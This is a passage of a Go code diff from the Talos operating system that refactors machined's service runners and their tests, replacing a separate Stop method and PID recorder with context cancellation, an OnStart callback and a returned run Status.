<- r.Run(MockEventSink, MockPidRecorder) + _, runErr := r.Run(runCtx, MockEventSink, nil) + + done <- runErr }() for range 10 { @@ -363,7 +367,7 @@ func (suite *ContainerdSuite) TestStopFailingAndRestarting() { default: } - suite.Assert().NoError(r.Stop()) + runCancel() <-done logContents := suite.getLogContents(suite.containerID + ".log") @@ -393,10 +397,15 @@ func (suite *ContainerdSuite) TestStopSigKill() { defer func() { suite.Assert().NoError(r.Close()) }() + runCtx, runCancel := context.WithCancel(context.Background()) + defer runCancel() + done := make(chan error, 1) go func() { - done <- r.Run(MockEventSink, MockPidRecorder) + _, runErr := r.Run(runCtx, MockEventSink, nil) + + done <- runErr }() time.Sleep(50 * time.Millisecond) @@ -409,7 +418,7 @@ func (suite *ContainerdSuite) TestStopSigKill() { time.Sleep(100 * time.Millisecond) - suite.Assert().NoError(r.Stop()) + runCancel() suite.Assert().NoError(<-done) } @@ -432,7 +441,7 @@ func (suite *ContainerdSuite) TestContainerStdin() { defer func() { suite.Assert().NoError(r.Close()) }() - suite.Assert().NoError(r.Run(MockEventSink, MockPidRecorder)) + suite.assertRunSucceeds(r) logFile, err := os.Open(filepath.Join(suite.tmpDir, suite.containerID+".log")) suite.Assert().NoError(err) diff --git a/internal/app/machined/pkg/system/runner/goroutine/goroutine.go b/internal/app/machined/pkg/system/runner/goroutine/goroutine.go index 838be0fea8e..9f30522a639 100644 --- a/internal/app/machined/pkg/system/runner/goroutine/goroutine.go +++ b/internal/app/machined/pkg/system/runner/goroutine/goroutine.go @@ -9,7 +9,6 @@ import ( "errors" "fmt" "io" - "log" stdlibruntime "runtime" "sync" "time" @@ -18,7 +17,6 @@ import ( "github.com/siderolabs/talos/internal/app/machined/pkg/runtime" "github.com/siderolabs/talos/internal/app/machined/pkg/system/events" - "github.com/siderolabs/talos/internal/app/machined/pkg/system/pid" "github.com/siderolabs/talos/internal/app/machined/pkg/system/runner" ) @@ -32,11 +30,6 @@ type goroutineRunner struct { runtime runtime.Runtime opts *runner.Options - - ctx context.Context //nolint:containedctx - ctxCancel context.CancelFunc - - wg sync.WaitGroup } // FuncMain is a entrypoint into the service. @@ -53,8 +46,6 @@ func NewRunner(r runtime.Runtime, id string, main FuncMain, setters ...runner.Op opts: runner.DefaultOptions(), } - run.ctx, run.ctxCancel = context.WithCancel(context.Background()) - for _, setter := range setters { setter(run.opts) } @@ -68,46 +59,39 @@ func (r *goroutineRunner) Open() error { } // Run implements the Runner interface. -func (r *goroutineRunner) Run(eventSink events.Recorder, pidRecorder pid.Recorder) error { - r.wg.Add(1) - defer r.wg.Done() - - pid := int32(unix.Getpid()) +// +// A goroutine service shares the machined process, so there is no exit code of its own to report: +// how it ended is carried by the error. +func (r *goroutineRunner) Run(ctx context.Context, eventSink events.Recorder, onStart runner.OnStart) (runner.Status, error) { + status := runner.Status{Started: true} - if err := pidRecorder(r.id, pid, false); err != nil { - return fmt.Errorf("recording pid: %w", err) + if onStart != nil { + onStart(int32(unix.Getpid())) } - defer func() { - if err := pidRecorder(r.id, pid, true); err != nil { - log.Printf("error clearing pid: %v", err) - } - }() - eventSink(events.StateRunning, "Service started as goroutine") errCh := make(chan error) - ctx := r.ctx go func() { errCh <- r.wrappedMain(ctx) }() select { - case <-r.ctx.Done(): + case <-ctx.Done(): eventSink(events.StateStopping, "Service stopping") case err := <-errCh: // service finished on its own - return err + return status, err } select { case <-time.After(r.opts.GracefulShutdownTimeout * 2): eventSink(events.StateStopping, "Service hasn't stopped gracefully on timeout, aborting") - return ErrAborted + return status, ErrAborted case err := <-errCh: - return err + return status, err } } @@ -136,17 +120,6 @@ func (r *goroutineRunner) wrappedMain(ctx context.Context) (err error) { return writerCloser() } -// Stop implements the Runner interface. -func (r *goroutineRunner) Stop() error { - r.ctxCancel() - - r.wg.Wait() - - r.ctx, r.ctxCancel = context.WithCancel(context.Background()) - - return nil -} - // Close implements the Runner interface. func (r *goroutineRunner) Close() error { return nil diff --git a/internal/app/machined/pkg/system/runner/goroutine/goroutine_test.go b/internal/app/machined/pkg/system/runner/goroutine/goroutine_test.go index c3df11d20f1..45035a6f349 100644 --- a/internal/app/machined/pkg/system/runner/goroutine/goroutine_test.go +++ b/internal/app/machined/pkg/system/runner/goroutine/goroutine_test.go @@ -27,14 +27,15 @@ import ( v1alpha1cfg "github.com/siderolabs/talos/pkg/machinery/config/types/v1alpha1" ) -func MockEventSink(state events.ServiceState, message string, args ...any) { - log.Printf("state %s: %s", state, fmt.Sprintf(message, args...)) -} +// assertRunSucceeds runs the runner to completion and asserts it ended cleanly. +func (suite *GoroutineSuite) assertRunSucceeds(r runner.Runner) { + _, err := r.Run(context.Background(), MockEventSink, nil) -func MockPidRecorder(id string, pid int32, clearEntry bool) error { - log.Printf("recording pid for %s: %d (clear: %v)", id, pid, clearEntry) + suite.Assert().NoError(err) +} - return nil +func MockEventSink(state events.ServiceState, message string, args ...any) { + log.Printf("state %s: %s", state, fmt.Sprintf(message, args...)) } type GoroutineSuite struct { @@ -79,9 +80,7 @@ func (suite *GoroutineSuite) TestRunSuccess() { defer func() { suite.Assert().NoError(r.Close()) }() - suite.Assert().NoError(r.Run(MockEventSink, MockPidRecorder)) - // calling stop when Run has finished is no-op - suite.Assert().NoError(r.Stop()) + suite.assertRunSucceeds(r) } func (suite *GoroutineSuite) TestRunFail() { @@ -94,9 +93,8 @@ func (suite *GoroutineSuite) TestRunFail() { defer func() { suite.Assert().NoError(r.Close()) }() - suite.Assert().EqualError(r.Run(MockEventSink, MockPidRecorder), "service failed") - // calling stop when Run has finished is no-op - suite.Assert().NoError(r.Stop()) + _, runErr := r.Run(context.Background(), MockEventSink, nil) + suite.Assert().EqualError(runErr, "service failed") } func (suite *GoroutineSuite) TestRunPanic() { @@ -109,11 +107,9 @@ func (suite *GoroutineSuite) TestRunPanic() { defer func() { suite.Assert().NoError(r.Close()) }() - err := r.Run(MockEventSink, MockPidRecorder) + _, err := r.Run(context.Background(), MockEventSink, nil) suite.Assert().Error(err) suite.Assert().Regexp("^panic in service: service panic.*", err.Error()) - // calling stop when Run has finished is no-op - suite.Assert().NoError(r.Stop()) } func (suite *GoroutineSuite) TestStop() { @@ -128,10 +124,15 @@ func (suite *GoroutineSuite) TestStop() { defer func() { suite.Assert().NoError(r.Close()) }() + runCtx, runCancel := context.WithCancel(context.Background()) + defer runCancel() + errCh := make(chan error) go func() { - errCh <- r.Run(MockEventSink, MockPidRecorder) + _, runErr := r.Run(runCtx, MockEventSink, nil) + + errCh <- runErr }() time.Sleep(20 * time.Millisecond) @@ -142,7 +143,7 @@ func (suite *GoroutineSuite) TestStop() { default: } - suite.Assert().NoError(r.Stop()) + runCancel() suite.Assert().NoError(<-errCh) } @@ -161,10 +162,15 @@ func (suite *GoroutineSuite) TestStuckOnStop() { defer func() { suite.Assert().NoError(r.Close()) }() + runCtx, runCancel := context.WithCancel(context.Background()) + defer runCancel() + errCh := make(chan error) go func() { - errCh <- r.Run(MockEventSink, MockPidRecorder) + _, runErr := r.Run(runCtx, MockEventSink, nil) + + errCh <- runErr }() time.Sleep(20 * time.Millisecond) @@ -175,7 +181,7 @@ func (suite *GoroutineSuite) TestStuckOnStop() { default: } - suite.Assert().NoError(r.Stop()) + runCancel() suite.Assert().ErrorIs(<-errCh, goroutine.ErrAborted) } @@ -192,7 +198,7 @@ func (suite *GoroutineSuite) TestRunLogs() { defer func() { suite.Assert().NoError(r.Close()) }() - suite.Assert().NoError(r.Run(MockEventSink, MockPidRecorder)) + suite.assertRunSucceeds(r) logFile, err := os.Open(filepath.Join(suite.tmpDir, "logtest.log")) suite.Assert().NoError(err) diff --git a/internal/app/machined/pkg/system/runner/process/process.go b/internal/app/machined/pkg/system/runner/process/process.go index 3af0e7139d1..bc50e68777b 100644 --- a/internal/app/machined/pkg/system/runner/process/process.go +++ b/internal/app/machined/pkg/system/runner/process/process.go @@ -5,6 +5,7 @@ package process import ( + "context" "fmt" "io" "io/fs" @@ -28,7 +29,6 @@ import ( "github.com/siderolabs/talos/internal/app/machined/pkg/runtime" "github.com/siderolabs/talos/internal/app/machined/pkg/runtime/v1alpha1/platform" "github.com/siderolabs/talos/internal/app/machined/pkg/system/events" - "github.com/siderolabs/talos/internal/app/machined/pkg/system/pid" "github.com/siderolabs/talos/internal/app/machined/pkg/system/runner" "github.com/siderolabs/talos/internal/app/machined/pkg/system/runner/internal/lastlog" "github.com/siderolabs/talos/internal/pkg/cgroup" @@ -41,19 +41,14 @@ type processRunner struct { args *runner.Args opts *runner.Options debug bool - - stop chan struct{} - stopped chan struct{} } // NewRunner creates runner.Runner that runs a process on the host. func NewRunner(debug bool, args *runner.Args, setters ...runner.Option) runner.Runner { r := &processRunner{ - args: args, - opts: runner.DefaultOptions(), - debug: debug, - stop: make(chan struct{}), - stopped: make(chan struct{}), + args: args, + opts: runner.DefaultOptions(), + debug: debug, } for _, setter := range setters { @@ -69,22 +64,11 @@ func (p *processRunner) Open() error { } // Run implements the Runner interface. -func (p *processRunner) Run(eventSink events.Recorder, pidRecorder pid.Recorder) error { - defer close(p.stopped) - - return p.run(eventSink, pidRecorder) -} - -// Stop implements the Runner interface. -func (p *processRunner) Stop() error { - close(p.stop) - - <-p.stopped - - p.stop = make(chan struct{}) - p.stopped = make(chan struct{}) - - return nil +// +// A host process's exit code is not recovered from the reaper, so how it ended is carried by the +// error rather than by Status.ExitCode. +func (p *processRunner) Run(ctx context.Context, eventSink events.Recorder, onStart runner.OnStart) (runner.Status, error) { + return p.run(ctx, eventSink, onStart) } // Close implements the Runner interface. @@ -415,10 +399,12 @@ func setSchedulingPolicy(p *processRunner, pid int, schedulingPolicy uint) error } //nolint:gocyclo -func (p *processRunner) run(eventSink events.Recorder, pidRecorder pid.Recorder) error { +func (p *processRunner) run(ctx context.Context, eventSink events.Recorder, onStart runner.OnStart) (runner.Status, error) { + var status runner.Status + cg, err := cgroup.CreateCgroup(p.opts.CgroupPath) if err != nil { - return fmt.Errorf("error creating cgroup: %w", err) + return status, fmt.Errorf("error creating cgroup: %w", err) } defer func() { @@ -432,13 +418,13 @@ func (p *processRunner) run(eventSink events.Recorder, pidRecorder pid.Recorder) cmdWrapper, err := p.build(&lastLog) if err != nil { - return fmt.Errorf("error building command: %w", err) + return status, fmt.Errorf("error building command: %w", err) } defer cmdWrapper.afterStart() if p.opts.Sandbox != nil { - return p.runInSandbox(eventSink, pidRecorder, &cmdWrapper, &lastLog) + return p.runInSandbox(ctx, eventSink, onStart, &cmdWrapper, &lastLog) } notifyCh := make(chan reaper.ProcessInfo, 8) @@ -450,21 +436,17 @@ func (p *processRunner) run(eventSink events.Recorder, pidRecorder pid.Recorder) pid, err := cmdWrapper.launcher.Launch(&cmdWrapper) if err != nil { - return fmt.Errorf("error starting process: %w", err) + return status, fmt.Errorf("error starting process: %w", err) } - if err := pidRecorder(p.args.ID, int32(pid), false); err != nil { - return fmt.Errorf("recording pid: %w", err) - } + status.Started = true - defer func() { - if err := pidRecorder(p.args.ID, int32(pid), true); err != nil { - log.Printf("error clearing pid: %v", err) - } - }() + if onStart != nil { + onStart(int32(pid)) + } if err := applyProperties(p, pid); err != nil { - return err + return status, err } cmdWrapper.afterStart() @@ -473,7 +455,7 @@ func (p *processRunner) run(eventSink events.Recorder, pidRecorder pid.Recorder) process, err := os.FindProcess(pid) if err != nil { - return fmt.Errorf("could not find process: %w", err) + return status, fmt.Errorf("could not find process: %w", err) } waitCh := make(chan error) @@ -489,8 +471,8 @@ func (p *processRunner) run(eventSink events.Recorder, pidRecorder pid.Recorder) err = fmt.Errorf("%w (last log %q)", err, lastLog.GetLastLog()) } - return err - case <-p.stop: + return status, err + case <-ctx.Done(): // graceful stop the service eventSink(events.StateStopping, "Sending SIGTERM to %s", p) @@ -501,7 +483,7 @@ func (p *processRunner) run(eventSink events.Recorder, pidRecorder pid.Recorder) select { case <-waitCh: // stopped process exited - return nil + return status, nil case <-time.After(p.opts.GracefulShutdownTimeout): // kill the process eventSink(events.StateStopping, "Sending SIGKILL to %s", p) @@ -513,7 +495,7 @@ func (p *processRunner) run(eventSink events.Recorder, pidRecorder pid.Recorder) // wait for process to terminate <-waitCh - return nil + return status, nil } func (p *processRunner) String() string { @@ -525,16 +507,19 @@ func (p *processRunner) String() string { // //nolint:gocyclo func (p *processRunner) runInSandbox( + ctx context.Context, eventSink events.Recorder, - pidRecorder pid.Recorder, + onStart runner.OnStart, cmdWrapper *commandWrapper, lastLog *lastlog.Writer, -) error { +) (runner.Status, error) { + var status runner.Status + // Resolve the launcher fresh on every (re)launch so that a recreated sandbox // namespace is picked up after the previous one was torn down. wns := p.opts.Sandbox() if wns == nil { - return fmt.Errorf("sandbox namespace not available yet") + return status, fmt.Errorf("sandbox namespace not available yet") } env := slices.Concat([]string{constants.EnvPath}, p.opts.Env, os.Environ()) @@ -551,25 +536,21 @@ func (p *processRunner) runInSandbox( handle, err := wns.Launch(cfg) if err != nil { - return fmt.Errorf("error starting process in sandbox ns: %w", err) + return status, fmt.Errorf("error starting process in sandbox ns: %w", err) } defer handle.Close() //nolint:errcheck hostPID := handle.HostPID() - if err := pidRecorder(p.args.ID, int32(hostPID), false); err != nil { - return fmt.Errorf("recording pid: %w", err) - } + status.Started = true - defer func() { - if err := pidRecorder(p.args.ID, int32(hostPID), true); err != nil { - log.Printf("error clearing pid: %v", err) - } - }() + if onStart != nil { + onStart(int32(hostPID)) + } if err := applyProperties(p, hostPID); err != nil { - return err + return status, err } // Close machined's copies of the log pipe write-ends (child has them now). @@ -590,8 +571,8 @@ func (p *processRunner) runInSandbox( err = fmt.Errorf("%w (last log %q)", err, lastLog.GetLastLog()) } - return err - case <-p.stop: + return status, err + case <-ctx.Done(): eventSink(events.StateStopping, "Sending SIGTERM to %s", p) //nolint:errcheck @@ -600,7 +581,7 @@ func (p *processRunner) runInSandbox( select { case <-waitCh: - return nil + return status, nil case <-time.After(p.opts.GracefulShutdownTimeout): eventSink(events.StateStopping, "Sending SIGKILL to %s", p) @@ -610,5 +591,5 @@ func (p *processRunner) runInSandbox( <-waitCh - return nil + return status, nil } diff --git a/internal/app/machined/pkg/system/runner/process/process_test.go b/internal/app/machined/pkg/system/runner/process/process_test.go index 8109ed2eef1..8b1c98d2fd5 100644 --- a/internal/app/machined/pkg/system/runner/process/process_test.go +++ b/internal/app/machined/pkg/system/runner/process/process_test.go @@ -5,6 +5,7 @@ package process_test import ( + "context" "fmt" "io" "os" @@ -30,20 +31,19 @@ import ( "github.com/siderolabs/talos/internal/app/machined/pkg/system/runner/restart" ) +// assertRunSucceeds runs the runner to completion and asserts it ended cleanly. +func (suite *ProcessSuite) assertRunSucceeds(r runner.Runner, onStart runner.OnStart) { + _, err := r.Run(context.Background(), MockEventSink(suite.T()), onStart) + + suite.Assert().NoError(err) +} + func MockEventSink(t *testing.T) func(state events.ServiceState, message string, args ...any) { return func(state events.ServiceState, message string, args ...any) { t.Logf("state %s: %s", state, fmt.Sprintf(message, args...)) } } -func MockPidRecorder(t *testing.T) func(id string, pid int32, clearEntry bool) error { - return func(id string, pid int32, clearEntry bool) error { - t.Logf("recording pid for %s: %d (clear: %v)", id, pid, clearEntry) - - return nil - } -} - type ProcessSuite struct { suite.Suite @@ -79,9 +79,7 @@ func (suite *ProcessSuite) TestRunSuccess() { defer func() { suite.Assert().NoError(r.Close()) }() - suite.Assert().NoError(r.Run(MockEventSink(suite.T()), MockPidRecorder(suite.T()))) - // calling stop when Run has finished is no-op - suite.Assert().NoError(r.Stop()) + suite.assertRunSucceeds(r, nil) } func (suite *ProcessSuite) TestRunLogs() { @@ -94,7 +92,7 @@ func (suite *ProcessSuite) TestRunLogs() { defer func() { suite.Assert().NoError(r.Close()) }() - suite.Assert().NoError(r.Run(MockEventSink(suite.T()), MockPidRecorder(suite.T()))) + suite.assertRunSucceeds(r, nil) // the log file is written asynchronously, so we need to wait a bit suite.EventuallyWithT(func(collect *assert.CollectT) { @@ -124,7 +122,7 @@ func (suite *ProcessSuite) TestRunRestartFailed() { var wg sync.WaitGroup wg.Go(func() { - suite.Assert().NoError(r.Run(MockEventSink(suite.T()), MockPidRecorder(suite.T()))) + suite.assertRunSucceeds(r, nil) }) fetchLog := func() []byte { @@ -171,10 +169,15 @@ func (suite *ProcessSuite) TestStopFailingAndRestarting() { defer func() { suite.Assert().NoError(r.Close()) }() + runCtx, runCancel := context.WithCancel(context.Background()) + defer runCancel() + done := make(chan error, 1) go func() { - done <- r.Run(MockEventSink(suite.T()), MockPidRecorder(suite.T())) + _, runErr := r.Run(runCtx, MockEventSink(suite.T()), nil) + + done <- runErr }() time.Sleep(40 * time.Millisecond) @@ -201,7 +204,7 @@ func (suite *ProcessSuite) TestStopFailingAndRestarting() { default: } - suite.Assert().NoError(r.Stop()) + runCancel() <-done } @@ -219,15 +222,20 @@ func (suite *ProcessSuite) TestStopSigKill() { defer func() { suite.Assert().NoError(r.Close()) }() + runCtx, runCancel := context.WithCancel(context.Background()) + defer runCancel() + done := make(chan error, 1) go func() { - done <- r.Run(MockEventSink(suite.T()), MockPidRecorder(suite.T())) + _, runErr := r.Run(runCtx, MockEventSink(suite.T()), nil) + + done <- runErr }() time.Sleep(100 * time.Millisecond) - suite.Assert().NoError(r.Stop()) + runCancel() <-done } @@ -260,10 +268,15 @@ func (suite *ProcessSuite) TestPriority() { defer func() { suite.Assert().NoError(r.Close()) }() + runCtx, runCancel := context.WithCancel(context.Background()) + defer runCancel() + done := make(chan error, 1) go func() { - done <- r.Run(MockEventSink(suite.T()), MockPidRecorder(suite.T())) + _, runErr := r.Run(runCtx, MockEventSink(suite.T()), nil) + + done <- runErr }() var pid uint64 @@ -287,7 +300,7 @@ func (suite *ProcessSuite) TestPriority() { time.Sleep(1000 * time.Millisecond) - suite.Assert().NoError(r.Stop()) + runCancel() <-done } @@ -321,10 +334,15 @@ func (suite *ProcessSuite) TestIOPriority() { defer func() { suite.Assert().NoError(r.Close()) }() + runCtx, runCancel := context.WithCancel(context.Background()) + defer runCancel() + done := make(chan error, 1) go func() { - done <- r.Run(MockEventSink(suite.T()), MockPidRecorder(suite.T())) + _, runErr := r.Run(runCtx, MockEventSink(suite.T()), nil) + + done <- runErr }() var pid uint64 @@ -348,7 +366,7 @@ func (suite *ProcessSuite) TestIOPriority() { time.Sleep(10 * time.Millisecond) - suite.Assert().NoError(r.Stop()) + runCancel() <-done } @@ -381,10 +399,15 @@ func (suite *ProcessSuite) TestSchedulingPolicy() { defer func() { suite.Assert().NoError(r.Close()) }() + runCtx, runCancel := context.WithCancel(context.Background()) + defer runCancel() + done := make(chan error, 1) go func() { - done <- r.Run(MockEventSink(suite.T()), MockPidRecorder(suite.T())) + _, runErr := r.Run(runCtx, MockEventSink(suite.T()), nil) + + done <- runErr }() var pid uint64 @@ -407,7 +430,7 @@ func (suite *ProcessSuite) TestSchedulingPolicy() { time.Sleep(10 * time.Millisecond) - suite.Assert().NoError(r.Stop()) + runCancel() <-done } @@ -504,7 +527,7 @@ func (suite *ProcessSuite) TestSandboxUnavailable() { defer func() { suite.Assert().NoError(r.Close()) }() - err := r.Run(MockEventSink(suite.T()), MockPidRecorder(suite.T())) + _, err := r.Run(context.Background(), MockEventSink(suite.T()), nil) suite.Assert().Error(err) suite.Assert().Contains(err.Error(), "sandbox namespace not available") } @@ -539,7 +562,7 @@ func (suite *ProcessSuite) TestSandboxRetryWhenUnavailable() { defer func() { suite.Assert().NoError(r.Close()) }() - suite.Assert().NoError(r.Run(MockEventSink(suite.T()), MockPidRecorder(suite.T()))) + suite.assertRunSucceeds(r, nil) select { case <-launcher.launched: @@ -561,12 +584,8 @@ func (suite *ProcessSuite) TestSandboxSuccess() { launcher := &mockSandboxLauncher{handle: handle, launched: make(chan runtime.LaunchConfig, 1)} recorded := make(chan int32, 4) - pidRecorder := func(id string, pid int32, clearEntry bool) error { - if !clearEntry { - recorded <- pid - } - - return nil + onStart := func(pid int32) { + recorded <- pid } r := process.NewRunner(false, &runner.Args{ @@ -582,7 +601,7 @@ func (suite *ProcessSuite) TestSandboxSuccess() { defer func() { suite.Assert().NoError(r.Close()) }() - suite.Assert().NoError(r.Run(MockEventSink(suite.T()), pidRecorder)) + suite.assertRunSucceeds(r, onStart) select { case p := <-recorded: @@ -617,10 +636,15 @@ func (suite *ProcessSuite) TestSandboxStopSignal() { defer func() { suite.Assert().NoError(r.Close()) }() + runCtx, runCancel := context.WithCancel(context.Background()) + defer runCancel() + done := make(chan error, 1) go func() { - done <- r.Run(MockEventSink(suite.T()), MockPidRecorder(suite.T())) + _, runErr := r.Run(runCtx, MockEventSink(suite.T()), nil) + + done <- runErr }() select { @@ -629,7 +653,7 @@ func (suite *ProcessSuite) TestSandboxStopSignal() { suite.Fail("launch did not happen") } - suite.Assert().NoError(r.Stop()) + runCancel() select { case err := <-done: diff --git a/internal/app/machined/pkg/system/runner/restart/restart.go b/internal/app/machined/pkg/system/runner/restart/restart.go index da97af7701e..d5cdb1de06c 100644 --- a/internal/app/machined/pkg/system/runner/restart/restart.go +++ b/internal/app/machined/pkg/system/runner/restart/restart.go @@ -5,20 +5,17 @@ package restart import ( + "context" "fmt" "time" "github.com/siderolabs/talos/internal/app/machined/pkg/system/events" - "github.com/siderolabs/talos/internal/app/machined/pkg/system/pid" "github.com/siderolabs/talos/internal/app/machined/pkg/system/runner" ) type restarter struct { wrappedRunner runner.Runner opts *Options - - stop chan struct{} - stopped chan struct{} } // New wraps runner.Runner with restart policy. @@ -26,8 +23,6 @@ func New(wrapRunner runner.Runner, opts ...Option) runner.Runner { r := &restarter{ wrappedRunner: wrapRunner, opts: DefaultOptions(), - stop: make(chan struct{}), - stopped: make(chan struct{}), } for _, opt := range opts { @@ -103,38 +98,26 @@ func (r *restarter) Open() error { // Run implements the Runner interface // //nolint:gocyclo -func (r *restarter) Run(eventSink events.Recorder, pidRecorder pid.Recorder) error { - defer close(r.stopped) +func (r *restarter) Run(ctx context.Context, eventSink events.Recorder, onStart runner.OnStart) (runner.Status, error) { + var status runner.Status for { - errCh := make(chan error) - - go func() { - errCh <- r.wrappedRunner.Run(eventSink, pidRecorder) - }() - var err error - select { - case <-r.stop: - //nolint:errcheck - _ = r.wrappedRunner.Stop() - - return <-errCh - case err = <-errCh: - } + // The wrapped runner returns of its own accord once ctx is done, so the stop is a plain + // cancellation rather than a separate signal to deliver. + status, err = r.wrappedRunner.Run(ctx, eventSink, onStart) - errStop := r.wrappedRunner.Stop() - if errStop != nil { - return errStop + if ctx.Err() != nil { + return status, err } switch r.opts.Type { case Once: - return err + return status, err case UntilSuccess: if err == nil { - return nil + return status, nil } eventSink(events.StateWaiting, "Error running %s, going to restart until it succeeds: %v", r.wrappedRunner, err) @@ -147,24 +130,15 @@ func (r *restarter) Run(eventSink events.Recorder, pidRecorder pid.Recorder) err } select { - case <-r.stop: + case <-ctx.Done(): eventSink(events.StateStopping, "Aborting restart sequence") - return nil + return status, nil case <-time.After(r.opts.RestartInterval): } } } -// Stop implements the Runner interface. -func (r *restarter) Stop() error { - close(r.stop) - - <-r.stopped - - return nil -} - // Close implements the Runner interface. func (r *restarter) Close() error { return r.wrappedRunner.Close() diff --git a/internal/app/machined/pkg/system/runner/restart/restart_test.go b/internal/app/machined/pkg/system/runner/restart/restart_test.go index f0d094178d4..10d6f31d446 100644 --- a/internal/app/machined/pkg/system/runner/restart/restart_test.go +++ b/internal/app/machined/pkg/system/runner/restart/restart_test.go @@ -5,6 +5,7 @@ package restart_test import ( + "context" "errors" "fmt" "log" @@ -14,7 +15,7 @@ import ( "github.com/stretchr/testify/suite" "github.com/siderolabs/talos/internal/app/machined/pkg/system/events" - "github.com/siderolabs/talos/internal/app/machined/pkg/system/pid" + "github.com/siderolabs/talos/internal/app/machined/pkg/system/runner" "github.com/siderolabs/talos/internal/app/machined/pkg/system/runner/restart" ) @@ -23,16 +24,11 @@ type RestartSuite struct { } type MockRunner struct { - exitCh chan error - times int - stop chan struct{} - stopped chan struct{} + exitCh chan error + times int } func (m *MockRunner) Open() error { - m.stop = make(chan struct{}) - m.stopped = make(chan struct{}) - return nil } @@ -42,30 +38,17 @@ func (m *MockRunner) Close() error { return nil } -func (m *MockRunner) Run(eventSink events.Recorder, _ pid.Recorder) error { - defer close(m.stopped) - +func (m *MockRunner) Run(ctx context.Context, eventSink events.Recorder, _ runner.OnStart) (runner.Status, error) { select { case err := <-m.exitCh: m.times++ - return err - case <-m.stop: - return nil + return runner.Status{Started: true}, err + case <-ctx.Done(): + return runner.Status{Started: true}, nil } } -func (m *MockRunner) Stop() error { - close(m.stop) - - <-m.stopped - - m.stop = make(chan struct{}) - m.stopped = make(chan struct{}) - - return nil -} - func (m *MockRunner) String() string { return "MockRunner()" } @@ -94,8 +77,8 @@ func (suite *RestartSuite) TestRunOnce() { mock.exitCh <- failed }() - suite.Assert().EqualError(r.Run(MockEventSink, nil), failed.Error()) - suite.Assert().NoError(r.Stop()) + _, err := r.Run(context.Background(), MockEventSink, nil) + suite.Assert().EqualError(err, failed.Error()) } func (suite *RestartSuite) TestRunOnceStop() { @@ -108,13 +91,18 @@ func (suite *RestartSuite) TestRunOnceStop() { defer func() { suite.Assert().NoError(r.Close()) }() + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + errCh := make(chan error) go func() { - errCh <- r.Run(MockEventSink, nil) + _, runErr := r.Run(ctx, MockEventSink, nil) + + errCh <- runErr }() - suite.Assert().NoError(r.Stop()) + cancel() suite.Assert().NoError(<-errCh) } @@ -129,10 +117,16 @@ func (suite *RestartSuite) TestRunUntilSuccess() { defer func() { suite.Assert().NoError(r.Close()) }() failed := errors.New("failed") + + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + errCh := make(chan error) go func() { - errCh <- r.Run(MockEventSink, nil) + _, runErr := r.Run(ctx, MockEventSink, nil) + + errCh <- runErr }() mock.exitCh <- failed @@ -144,7 +138,7 @@ func (suite *RestartSuite) TestRunUntilSuccess() { mock.exitCh <- nil suite.Assert().NoError(<-errCh) - suite.Assert().NoError(r.Stop()) + cancel() suite.Assert().Equal(4, mock.times) } @@ -159,10 +153,16 @@ func (suite *RestartSuite) TestRunForever() { defer func() { suite.Assert().NoError(r.Close()) }() failed := errors.New("failed") + + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + errCh := make(chan error) go func() { - errCh <- r.Run(MockEventSink, nil) + _, runErr := r.Run(ctx, MockEventSink, nil) + + errCh <- runErr }() mock.exitCh <- failed @@ -179,7 +179,7 @@ func (suite *RestartSuite) TestRunForever() { default: } - suite.Assert().NoError(r.Stop()) + cancel() suite.Assert().NoError(<-errCh) suite.Assert().Equal(4, mock.times) } diff --git a/internal/app/machined/pkg/system/runner/runner.go b/internal/app/machined/pkg/system/runner/runner.go index 7fd71fd88a7..e2eac3ba626 100644 --- a/internal/app/machined/pkg/system/runner/runner.go +++ b/internal/app/machined/pkg/system/runner/runner.go @@ -6,10 +6,12 @@ package runner import ( + "context" "fmt" "io" "time" + "github.com/containerd/cgroups/v3/cgroup2" containerd "github.com/containerd/containerd/v2/client" "github.com/containerd/containerd/v2/pkg/oci" "github.com/opencontainers/runtime-spec/specs-go" @@ -19,7 +21,6 @@ import ( "github.com/siderolabs/talos/internal/app/machined/pkg/runtime" "github.com/siderolabs/talos/internal/app/machined/pkg/runtime/logging" "github.com/siderolabs/talos/internal/app/machined/pkg/system/events" - "github.com/siderolabs/talos/internal/app/machined/pkg/system/pid" "github.com/siderolabs/talos/pkg/machinery/constants" ) @@ -27,11 +28,29 @@ import ( type Runner interface { fmt.Stringer Open() error - Run(events.Recorder, pid.Recorder) error - Stop() error + // Run runs the process to completion and reports how it ended. + // + // Canceling ctx asks the process to stop gracefully, and Run returns once it has. A Runner may be + // run more than once, which is what lets the restart wrapper drive it. + Run(ctx context.Context, eventSink events.Recorder, onStart OnStart) (Status, error) Close() error } +// OnStart is a callback, called with the process PID when it's started. +type OnStart func(pid int32) + +// Status is how a single run ended. +type Status struct { + // Started reports whether the process ever ran. When it is false the run failed before that + // point, which is a different thing from a process that ran and exited. + Started bool + // ExitCode is the process's exit code, and is meaningful only when Started. + // + // A runner which cannot observe a numeric exit code reports zero and describes the failure in + // its error instead. + ExitCode int +} + // Args represents the required options for services. type Args struct { ID string @@ -70,6 +89,14 @@ type Options struct { OOMScoreAdj int // CgroupPath (optional) sets the cgroup path to use CgroupPath string + // CgroupResources (optional) sets the resource limits for the cgroup; when nil they come from + // the built-in table keyed by cgroup name. + CgroupResources *cgroup2.Resources + // LogID (optional) is the identifier the process's log is registered under; defaults to the + // runner's ID. + LogID string + // HostNetworkFiles mounts the host's /etc/hosts and /etc/resolv.conf into the container. + HostNetworkFiles bool // OverrideSeccompProfile default Linux seccomp profile. OverrideSeccompProfile func(*specs.LinuxSeccomp) // DroppedCapabilities is the list of capabilities to drop. @@ -112,6 +139,7 @@ func DefaultOptions() *Options { ContainerdAddress: constants.CRIContainerdAddress, Stdin: nil, OOMScoreAdj: 0, + HostNetworkFiles: true, } } @@ -192,6 +220,37 @@ func WithCgroupPath(path string) Option { } } +// WithCgroupResources sets the resource limits for the cgroup. +// +// Without this the limits come from the built-in table keyed by cgroup name, which is what the Talos +// services want; a caller running arbitrary workloads has limits of its own to apply. +func WithCgroupResources(resources *cgroup2.Resources) Option { + return func(args *Options) { + args.CgroupResources = resources + } +} + +// WithLogID sets the identifier the process's log is registered under. +// +// It defaults to the runner's ID. Setting it apart matters when the process ID is not the identity +// the logs should follow, e.g. one container restarted as a succession of differently-named +// instances whose output belongs in one place. +func WithLogID(id string) Option { + return func(args *Options) { + args.LogID = id + } +} + +// WithHostNetworkFiles controls whether the host's /etc/hosts and /etc/resolv.conf are mounted in. +// +// On by default, which is what a service sharing 